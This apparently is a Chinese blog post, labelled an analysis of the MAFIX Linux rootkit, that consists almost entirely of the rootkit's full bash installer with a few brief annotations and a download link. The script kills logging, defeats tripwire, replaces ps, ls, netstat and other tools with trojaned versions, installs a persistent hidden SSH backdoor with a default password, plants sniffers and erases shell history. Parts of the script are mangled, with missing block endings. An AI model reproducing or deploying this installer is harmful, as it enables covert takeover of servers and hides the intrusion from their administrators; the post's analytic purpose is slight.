2011-06-28

网络安全

MAFIX - Linux 2.6 rootkit分析

MAFIX - Linux 2.6 rootkit

这后门很贱，服务器中过一次，属于这个后门的改版。那个添加了模块。

下载地址：

https://forum.eviloctal.com/attachment.php?aid=13419

内容：

MAXFIX

---HOW-TO

---mafix

---mafixlibs

---root

下面为root的内容，也就是安装脚本。

#!/bin/bash

######################

# mafix 0.2 #

# fud 2009/07/15 #

######################

BASEDIR=`pwd`

export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

BLK=' [1;30m'

MAG=' [1;35m'

CYN=' [1;30m'

RED='^[[1;32m'

DMAG=' [1;37m'

RES=' [0m'

echo "${CYN} ___ ___ ___ ${DMAG} ${CYN} ___ ${RES}"

echo "${CYN} /__/ / / / / ${DMAG} ___ ${CYN} /__/| ${RES}"

echo "${CYN} | |:: / /:: / /:/_ ${DMAG} / / ${CYN} | |:| ${RES}"

echo "${CYN} | |:|: / /:/: / /:/ / ${DMAG} / /:/ ${CYN} | |:| ${RES}"

echo "${CYN} __|__|:|: / /:/~/:: / /:/ /:/ ${DMAG}/__/:: ${CYN} __|__|:| ${RES}"

echo "${CYN} /__/::::| : /__/:/ /:/: /__/:/ /:/ ${DMAG}__/:__ ${CYN} /__/::::____${RES}"

echo "${CYN} :~~__/ :/:/__/ :/:/ ${DMAG} :/ ${CYN} ~~~::::/${RES}"

echo "${CYN} : ::/ ::/ ${DMAG} __::/${CYN} |~~|:|~~ ${RES}"

echo "${CYN} : : : ${DMAG} /__/:/ ${CYN} | |:| ${RES}"

echo "${CYN} : : : ${DMAG} __/ ${CYN} | |:| ${RES}"

echo "${CYN} __/ __/ __/ ${DMAG} ${CYN} |__|/ ${RES}"

echo "${DMAG}${RES}"

echo "${DMAG}- the ferrari of rootkits - ${RES}"

sleep 5

echo "${CYN}mafix!${DMAG} > ${CYN} extracting libs...${RES}"

tar zxf mafixlibs

if [ "$(whoami)" != "root" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} you need to be root to backdoor the box...${RES}"

exit

cd $BASEDIR

sleep 1

killall -9 syslogd >/dev/null 2>&1

startime=`date +%S`

echo "${CYN}mafix!${DMAG} > ${CYN} backdooring box...${RES}"

SYSLOGCONF="/etc/syslog.conf"

REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`

if [ ! -z "$REMOTE" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} Remote logging found! I hope you got access to these box:${RES}"

echo

for host in $REMOTE; do

echo -n " "

echo $host

done

echo

echo ' ${CYN}coz this box is logging to it${RES}'

echo

else

echo "${CYN}mafix!${DMAG} > ${CYN} no remote logging found...${RES}"

uname=`uname -n`

twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} WARNING: TRIPWIRE FOUND!${RES}"

if [ -f /var/lib/tripwire/$uname.twd ]; then

chattr -isa $twd #去保护，如果有的话，覆盖，chattr +isa 写保护

else

echo "${CYN}mafix!${DMAG} > ${CYN} no tripwire db found...${RES}"

else

echo "${CYN}mafix!${DMAG} > ${CYN} no tripwire was detected..${RES}"

# restoring login

if [ -f /sbin/xlogin ]; then

chattr -isa /sbin/xlogin

chattr -isa /bin/login

mv -f /sbin/xlogin /bin/login

chmod 7455 /bin/login

chattr +isa /bin/login

echo "${CYN}mafix!${DMAG} > ${CYN} installing trojans...${RES}"

if [ -f /etc/sh.conf ]; then

chattr -isa /etc/sh.conf

rm -rf /etc/sh.conf

# checking if we got needed libs and filez

if [ ! -f /lib/libproc.a ]; then

mv bin/lib/libproc.a /lib/ 2>/dev/null

if [ ! -f /lib/libproc.so.2.0.6 ]; then

mv bin/lib/libproc.so.2.0.6 /lib/ 2>/dev/null

echo "${CYN}mafix!${DMAG} > ${CYN} hold on...${RES}"

/sbin/ldconfig >/dev/null 2>&1

if [ ! -f /usr/bin/md5sum ]; then

touch -acmr /bin/ls bin/md5sum

cp bin/md5sum /usr/bin/md5sum

DEFPASS=race

DEFPORT=11111

if test -n "$1" ; then

echo "${CYN}mafix!${DMAG} > ${CYN} Password:${DMAG} $1${RES}"

cd $BASEDIR/bin

echo -n $1|md5sum > /etc/sh.conf #生成密码文件

else

echo "${CYN}mafix!${DMAG} > ${CYN} Password:${DMAG} $DEFPASS${RES}"

echo -n $DEFPASS|md5sum > /etc/sh.conf

touch -acmr /bin/ls /etc/sh.conf

chown -f root:root /etc/sh.conf

chattr +isa /etc/sh.conf #写保护

if test -n "$2" ; then

echo "${CYN}mafix!${DMAG} > ${CYN} Port:${DMAG} $2${RES}"

echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config

echo "3 $2" >> $BASEDIR/bin/headers/hosts.h

echo "4 $2" >> $BASEDIR/bin/headers/hosts.h

cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2

mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf 2>/dev/null

else

echo "${CYN}mafix!${DMAG} > ${CYN} Password:${DMAG} $DEFPORT${RES}"

echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config

echo "3 $2" >> $BASEDIR/bin/headers/hosts.h

echo "4 $2" >> $BASEDIR/bin/headers/hosts.h

cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $B ASEDIR/bin/.sh/shdcf2

mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf 2>/dev/null

if [ -f /lib/lidps1.so ]; then

chattr -isa /lib/lidps1.so

rm -rf /lib/lidps1.so

if [ -f /usr/include/hosts.h ]; then

chattr -isa /usr/include/hosts.h

rm -rf /usr/include/hosts.h

if [ -f /usr/include/file.h ]; then

chattr -isa /usr/include/file.h

rm -rf /usr/include/file.h

if [ -f /usr/include/log.h ]; then

chattr -isa /usr/include/log.h

rm -rf /usr/include/log.h

if [ -f /usr/include/proc.h ]; then

chattr -isa /usr/include/proc.h

rm -rf /usr/include/proc.h

cd $BASEDIR

mv $BASEDIR/bin/headers/lidps1.so /lib/lidps1.so 2>/dev/null

touch -acmr /bin/ls /lib/lidps1.so #修改文件时间与/bin/ls 时间相同

touch -acmr /bin/ls $BASEDIR/bin/headers/* #修改时间

mv $BASEDIR/bin/headers/* /usr/include/ 2>/dev/null

# Ok lets start creating dirs

SSHDIR=/lib/libsh.so

HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then

chattr -isa /lib/libsh.so

chattr -isa /lib/libsh.so/*

rm -rf /lib/libsh.so

if [ -d /usr/lib/libsh ]; then

chattr -isa /usr/lib/libsh

chattr -isa /usr/lib/libsh/*

rm -rf /usr/lib/libsh/*

mkdir $SSHDIR 2>/dev/null

touch -acmr /bin/ls $SSHDIR

mkdir $HOMEDIR 2>/dev/null

touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin

mv .sh/* $SSHDIR/ 2>/dev/null

mv .sh/.bashrc $HOMEDIR 2>/dev/null

if [ -f /sbin/ttyload ]; then

chattr -AacdisSu /sbin/ttyload

rm -rf /sbin/ttyload

if [ -f /usr/sbin/ttyload ]; then

chattr -isa /usr/sbin/ttyload

rm -rf /usr/sbin/ttyload

if [ -f /sbin/ttymon ]; then

chattr -isa /sbin/ttymon

rm -rf /sbin/ttymon

mv $SSHDIR/sshd /sbin/ttyload 2>/dev/null

chmod a+xr /sbin/ttyload 2>/dev/null

chmod o-w /sbin/ttyload 2>/dev/null

touch -acmr /bin/ls /sbin/ttyload

chattr +isa /sbin/ttyload

kill -9 `pidof ttyload` >/dev/null 2>&1

mv $BASEDIR/bin/ttymon /sbin/ttymon 2>/dev/null

chmod a+xr /sbin/ttymon 2>/dev/null

touch -acmr /bin/ls /sbin/ttymon

chattr +isa /sbin/ttymon

kill -9 `pidof ttymon` >/dev/null 2>&1

cp /bin/bash $SSHDIR

# INITTAB SHUFFLING

chattr -isa /etc/inittab

cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1

cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1

echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

cat /tmp/.init2 >> /tmp/.init1

echo "" >> /tmp/.init1

echo "# modem getty." >> /tmp/.init1

echo "# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem" >> /tmp/.init1

echo "" >> /tmp/.init1

echo "# fax getty (hylafax)" >> /tmp/.init1

echo "# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem" >> /tmp/.init1

echo "" >> /tmp/.init1

echo "# vbox (voice box) getty" >> /tmp/.init1

echo "# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6" >> /tmp/.init1

echo "# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7" >> /tmp/.init1

echo "" >> /tmp/.init1

echo "# end of /etc/inittab" >> /tmp/.init1

echo "/sbin/ttyload -q >/dev/null 2>&1" > /usr/sbin/ttyload

echo "/sbin/ttymon >/dev/null 2>&1" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload

chmod +x /usr/sbin/ttyload 2>/dev/null

chattr +isa /usr/sbin/ttyload

/usr/sbin/ttyload >/dev/null 2>&1

touch -amcr /etc/inittab /tmp/.init1

mv -f /tmp/.init1 /etc/inittab 2>/dev/null

rm -rf /tmp/.init2

# MAKING SURE WE GOT IT BACKDORED RIGHT !

if [ ! "`grep ttyload /etc/inittab`" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} inittab broken, sshd wont be loaded upon reboot :(${RES}"

# Say hello to md5sum fixer boys n gurls !

if [ -f /sbin/ifconfig ]; then

/usr/bin/md5sum /sbin/ifconfig >> .shmd5

if [ -f /bin/ps ]; then

/usr/bin/md5sum /bin/ps >> .shmd5

if [ -f /bin/ls ]; then

/usr/bin/md5sum /bin/ls >> .shmd5

if [ -f /bin/netstat ]; then

/usr/bin/md5sum /bin/netstat >> .shmd5

if [ -f /usr/bin/find ]; then

/usr/bin/md5sum /usr/bin/find >> .shmd5

if [ -f /usr/bin/top ]; then

/usr/bin/md5sum /usr/bin/top >> .shmd5

if [ -f /usr/sbin/lsof ]; then

/usr/bin/md5sum /usr/sbin/lsof >> .shmd5

if [ -f /usr/bin/slocate ]; then

/usr/bin/md5sum /usr/bin/slocate >> .shmd5

if [ -f /usr/bin/dir ]; then

/usr/bin/md5sum /usr/bin/dir >> .shmd5

if [ -f /usr/bin/md5sum ]; then

/usr/bin/md5sum /usr/bin/md5sum >> .shmd5

if [ ! -f /dev/srd0 ]; then

./encrypt -e .shmd5 /dev/srd0

touch -acmr /bin/ls /dev/srd0

chattr a+r /dev/srd0

chown -f root:root /dev/srd0

rm -rf .shmd5

# time change bitch

touch -acmr /sbin/ifconfig ifconfig >/dev/null 2>&1

touch -acmr /bin/ps ps >/dev/null 2>&1

touch -acmr /bin/ls ls >/dev/null 2>&1

touch -acmr /bin/netstat netstat >/dev/null 2>&1

touch -acmr /usr/bin/find find >/dev/null 2>&1

touch -acmr /usr/bin/top top >/dev/null 2>&1

touch -acmr /usr/sbin/lsof lsof >/dev/null 2>&1

touch -acmr /sbin/syslogd syslogd >/dev/null 2>&1

touch -acmr /usr/bin/slocate slocate >/dev/null 2>&1

touch -acmr /usr/bin/dir dir >/dev/null 2>&1

touch -acmr /usr/bin/md5sum md5sum >/dev/null 2>&1

touch -acmr /usr/bin/pstree pstree >/dev/null 2>&1

# Backdoor ps/top/du/ls/netstat/etc..

cd $BASEDIR/bin

BACKUP=/usr/lib/libsh/.backup

mkdir $BACKUP 2>/dev/null

# ps ...

if [ -f /usr/bin/ps ]; then

chattr -isa /usr/bin/ps

cp /usr/bin/ps $BACKUP

mv -f ps /usr/bin/ps 2>/dev/null

chattr +isa /usr/bin/ps

if [ -f /bin/ps ]; then

chattr -isa /bin/ps

cp /bin/ps $BACKUP

mv -f ps /bin/ps 2>/dev/null

chattr +isa /bin/ps

# ifconfig ...

chattr -isa /sbin/ifconfig

cp /sbin/ifconfig $BACKUP

mv -f ifconfig /sbin/ifconfig 2>/dev/null

chattr +isa /sbin/ifconfig

# netstat ...

if [ -f /usr/sbin/netstat ]; then

chattr -isa /usr/sbin/netstat

mv -f netstat /usr/sbin/netstat 2>/dev/null

chattr +isa /usr/sbin/netstat

chattr -isa /bin/netstat

cp /bin/netstat $BACKUP

mv -f netstat /bin/netstat 2>/dev/null

chattr +isa /bin/netstat

# top ...

if [ -f /usr/bin/top ]; then

chattr -isa /usr/bin/top

cp /usr/bin/top $BACKUP

mv -f top /usr/bin/top 2>/dev/null

chattr +isa /usr/bin/top

if [ -f /lib/libncurses.so.5 ]; then

ln -s /lib/libncurses.so.5 /lib/libncurses.so.4 2>/dev/null

if [ -f /usr/lib/libncurses.so.5 ]; then

ln -s /usr/lib/libncurses.so.5 /lib/libncurses.so.4 2>/dev/null

# slocate ...

if [ -f /usr/bin/slocate ]; then

chattr -isa /usr/bin/slocate

cp /usr/bin/slocate $BACKUP

mv -f slocate /usr/bin/slocate 2>/dev/null

chattr +isa /usr/bin/slocate

# ls ...

chattr -isa /bin/ls

cp /bin/ls $BACKUP

mv -f ls /bin/ls 2>/dev/null

chattr +isa /bin/ls

# find ...

if [ -f /usr/bin/find ]; then

chattr -isa /usr/bin/find

cp /usr/bin/find $BACKUP

mv -f find /usr/bin/find 2>/dev/null

chattr +isa /usr/bin/find

# dir ...

if [ -f /usr/bin/dir ]; then

chattr -isa /usr/bin/dir

cp /usr/bin/dir $BACKUP

mv -f dir /usr/bin/dir 2>/dev/null

chattr +isa /usr/bin/dir

# lsof ...

if [ -f /usr/sbin/lsof ]; then

chattr -isa /usr/sbin/lsof

cp /usr/sbin/lsof $BACKUP

mv -f lsof /usr/sbin/lsof 2>/dev/null

chattr +isa /usr/sbin/lsof

# pstree ...

if [ -f /usr/bin/pstree ]; then

chattr -isa /usr/bin/pstree

cp /usr/bin/pstree $BACKUP

mv -f pstree /usr/bin/pstree 2>/dev/null

chattr +isa /usr/bin/pstree

# md5sum ...

chattr -isa /usr/bin/md5sum

cp /usr/bin/md5sum $BACKUP

mv -f md5sum /usr/bin/md5sum 2>/dev/null

chattr +isa /usr/bin/md5sum

echo "${CYN}mafix!${DMAG} > ${CYN} backdoored some daemons (netstat, ps)${RES}"

cd $BASEDIR

mkdir $HOMEDIR/.sniff 2>/dev/null

mv $BASEDIR/bin/shsniff $HOMEDIR/.sniff/shsniff 2>/dev/null

chmod +x $BASEDIR/bin/sshd 2>/dev/null

mv $BASEDIR/bin/shp $HOMEDIR/.sniff/shp 2>/dev/null

mv $BASEDIR/bin/shsb $HOMEDIR/shsb 2>/dev/null

mv $BASEDIR/bin/hide $HOMEDIR/hide 2>/dev/null

touch -acmr /bin/ls $HOMEDIR/.sniff/shsniff

touch -acmr /bin/ls $HOMEDIR/.sniff/shp

touch -acmr /bin/ls $HOMEDIR/shsb

touch -acmr /bin/ls $HOMEDIR/hide

chmod +x $HOMEDIR/.sniff/* 2>/dev/null

chmod +x $HOMEDIR/shsb 2>/dev/null

chmod +x $HOMEDIR/hide 2>/dev/null

./bin/sshd $1 $2 >> /dev/null

echo "${CYN}mafix!${DMAG} > ${CYN} checking for some vuln daemons....${RES}"

ps aux > /tmp/.procs

if [ "`cat /tmp/.procs | grep named`" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} NAMED FOUND! PATCH IT!${RES}"

if [ -f /usr/sbin/wu.ftpd ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} WU-FTPD FOUND! PATCH IT!${RES}"

if [ "`cat /tmp/.procs | grep smbd`" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} SAMBA FOUND! PATCH IT!${RES}"

if [ "`cat /tmp/.procs | grep rpc.statd`" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} RPC.STATD FOUND! PATCH IT!${RES}"

rm -rf /tmp/.procs

netstat -natp > /tmp/.stats

if [ "`cat /tmp/.stats | grep 443 | grep http`" ]; then

echo "${CYN}mafix!${DMAG} > ${CYN} MOD_SSL FOUND! PATCH IT!${RES}"

rm -rf /tmp/.stats

# CHECKING FOR HOSTILE ROOTKITS/BACKDORS

mkdir $HOMEDIR/.owned 2>/dev/null

if [ -f /etc/ttyhash ]; then

chattr -AacdisSu /etc/ttyhash

rm -rf /etc/ttyhash

if [ -d /lib/ldd.so ]; then

chattr -isa /lib/ldd.so

chattr -isa /lib/ldd.so/*

mv /lib/ldd.so $HOMEDIR/.owned/tk8

echo "${CYN}mafix!${DMAG} > ${CYN} tk8 found and owned!{RES}"

if [ -d /usr/src/.puta ]; then

chattr -isa /usr/src/.puta

chattr -isa /usr/src/.puta/*

mv /usr/src/.puta $HOMEDIR/.owned/tk7

echo "${CYN}mafix!${DMAG} > ${CYN} tk7 found and owned!{RES}"

if [ -f /usr/sbin/xntpd ]; then

chattr -isa /usr/sbin/xntpd

rm -rf /usr/sbin/xntpd

if [ -f /usr/sbin/nscd ]; then

chattr -isa /usr/sbin/nscd

rm -rf /usr/sbin/nscd

if [ -d /usr/include/bex ]; then

chattr -isa /usr/info/termcap.info-5.gz; rm -rf /usr/info/termcap.info-5.gz

chattr -isa /usr/include/audit.h; rm -rf /usr/include/audit.h

chattr -isa /usr/include/bex

chattr -isa /usr/include/bex/*

mv /usr/include/bex/ $HOMEDIR/.owned/bex2

if [ -f /var/log/tcp.log ]; then

chattr -isa /var/log/tcp.log

cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog

chattr -isa /usr/bin/sshd2 >/dev/null 2>&1

rm -rf /usr/bin/sshd2 >/dev/null 2>&1

echo "${CYN}mafix!${DMAG} > ${CYN} bex2 found and owned!{RES}"

if [ -d /dev/tux/ ]; then

chattr -isa /usr/bin/xsf >/dev/null 2>&1

rm -rf /usr/bin/xsf >/dev/null 2>&1

chattr -isa /usr/bin/xchk >/dev/null 2>&1

rm -rf /usr/bin/xchk >/dev/null 2>&1

chattr -isa /dev/tux >/dev/null 2>&1

mv /dev/tux $HOMEDIR/.owned/tuxkit

echo "${CYN}mafix!${DMAG} > ${CYN} tuxkit found and owned!{RES}"

if [ -f /usr/bin/ssh2d ]; then

chattr -isa /usr/bin/ssh2d

rm -rf /usr/bin/ssh2d

chattr -isa /lib/security/.config/

chattr -isa /lib/security/.config/*

rm -rf /lib/security/.config

echo "${CYN}mafix!${DMAG} > ${CYN} optickit found and owned!{RES}"

if [ -f /etc/ld.so.hash ]; then

chattr -isa /etc/ld.so.hash

rm -rf /etc/ld.so.hash

chattr +isa /usr/lib/libsh

chattr +isa /lib/libsh.so

# GREPPING SHITZ FROM rc.sysinit and inetd.conf

if [ -f /etc/rc.d/rc.sysinit ]; then

chattr -isa /etc/rc.d/rc.sysinit

cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/us r/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep

chmod +x /tmp/.grep

touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep

mv -f /tmp/.grep /etc/rc.d/rc.sysinit

rm -rf /tmp/.grep

if [ -f /etc/inetd.conf ]; then

chattr -isa /etc/inetd.conf

cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep

touch -acmr /etc/inted.conf /tmp/.grep

mv -f /tmp/.grep /etc/inetd.conf

rm -rf /tmp/.grep

# KILLING SOME LAMME DAEMONS

killall -9 -q nscd >/dev/null 2>&1

killall -9 -q xntps >/dev/null 2>&1

killall -9 -q mountd >/dev/null 2>&1

killall -9 -q mserv >/dev/null 2>&1

killall -9 -q psybnc >/dev/null 2>&1

killall -9 -q t0rns >/dev/null 2>&1

killall -9 -q linsniffer >/dev/null 2>&1

killall -9 -q sniffer >/dev/null 2>&1

killall -9 -q lpsched >/dev/null 2>&1

killall -9 -q sniff >/dev/null 2>&1

killall -9 -q sn1f >/dev/null 2>&1

killall -9 -q sshd2 >/dev/null 2>&1

killall -9 -q xsf >/dev/null 2>&1

killall -9 -q xchk >/dev/null 2>&1

killall -9 -q ssh2d >/dev/null 2>&1

echo "${CYN}mafix!${DMAG} > ${CYN} sysinfo:${RES}"

MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`

echo "${CYN}mafix!${DMAG} > hostname :${CYN} `hostname -f` ($MYIPADDR)${RES}"

uname -a | awk '{ print $11 }' >/tmp/info_tmp

echo "${CYN}mafix!${DMAG} > arch: ${CYN}`cat /tmp/info_tmp` -+- bogomips : `cat /proc/cpuinfo | grep bogomips | awk ' {print $3}'` '${RES}"

echo "${CYN}mafix!${DMAG} > alternative ip: ${CYN} "`hostname -i`" -+- Might be ["`/sbin/ifconfig | grep eth | wc -l`" ] active adapters.${RES}"

if [ -f /etc/redhat-release ]; then

echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} `head -1 /etc/redhat-release`${RES}"

elif [ -f /etc/slackware-version ]; then

echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} `head -1 /etc/slackware-version`${RES}"

elif [ -f /etc/debian_version ]; then

echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} `head -1 /etc/debian_version`${RES}"

elif [ -f /etc/SuSE-release ]; then

echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} `head -1 /etc/SuSE-release`${RES}"

elif [ -f /etc/issue ]; then

echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} `head -1 /etc/issue`${RES}"

else echo -n "${CYN}mafix!${DMAG} > dist: ${CYN} unknown${RES}"

echo

echo -n "${CYN}mafix!${DMAG} > cleaning up some traces... ${RES}"

unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE

if [ -f /.bash_history ]; then

chattr -isa /.bash_history >/dev/null 2>&1

rm -rf /.bash_history

if [ -f /bin/.bash_history ]; then

chattr -isa /bin/.bash_history

rm -rf /bin/.bash_history

cd $BASEDIR

rm -rf /tmp/.r*

cd ..

rm -rf mafix*

echo -n "${CYN}done!${RES}"

echo

rm -rf /tmp/info_tmp

endtime=`date +%S`

echo

echo "${CYN} ___ ___ ___ ${DMAG} ${CYN} ___ ${RES}"

echo "${CYN} /__/ / / / / ${DMAG} ___ ${CYN} /__/| ${RES}"

echo "${CYN} | |:: / /:: / /:/_ ${DMAG} / / ${CYN} | |:| ${RES}"

echo "${CYN} | |:|: / /:/: / /:/ / ${DMAG} / /:/ ${CYN} | |:| ${RES}"

echo "${CYN} __|__|:|: / /:/~/:: / /:/ /:/ ${DMAG}/__/:: ${CYN} __|__|:| ${RES}"

echo "${CYN} /__/::::| : /__/:/ /:/: /__/:/ /:/ ${DMAG}__/:__ ${CYN} /__/::::____${RES}"

echo "${CYN} :~~__/ :/:/__/ :/:/ ${DMAG} :/ ${CYN} ~~~::::/${RES}"

echo "${CYN} : ::/ ::/ ${DMAG} __::/${CYN} |~~|:|~~ ${RES}"

echo "${CYN} : : : ${DMAG} /__/:/ ${CYN} | |:| ${RES}"

echo "${CYN} : : : ${DMAG} __/ ${CYN} | |:| ${RES}"

echo "${CYN} __/ __/ __/ ${DMAG} ${CYN} |__|/ ${RES}"

echo "${DMAG}${RES}"

echo "${DMAG} Password: $1 ${RES}"

echo "${DMAG} Port: $2 ${RES}"

if [ -f /usr/sbin/syslogd ]; then

/usr/sbin/syslogd -m 0

else

/sbin/syslogd -m 0

if [ -f /usr/sbin/inetd ]; then

killall -HUP inetd >/dev/null 2>&1

elif [ -f /usr/sbin/xinetd ]; then

killall -HUP xinetd

key1088 Blog

2020到2060会发生什么，这40年内会有哪些变化呢

MAFIX - Linux 2.6 rootkit分析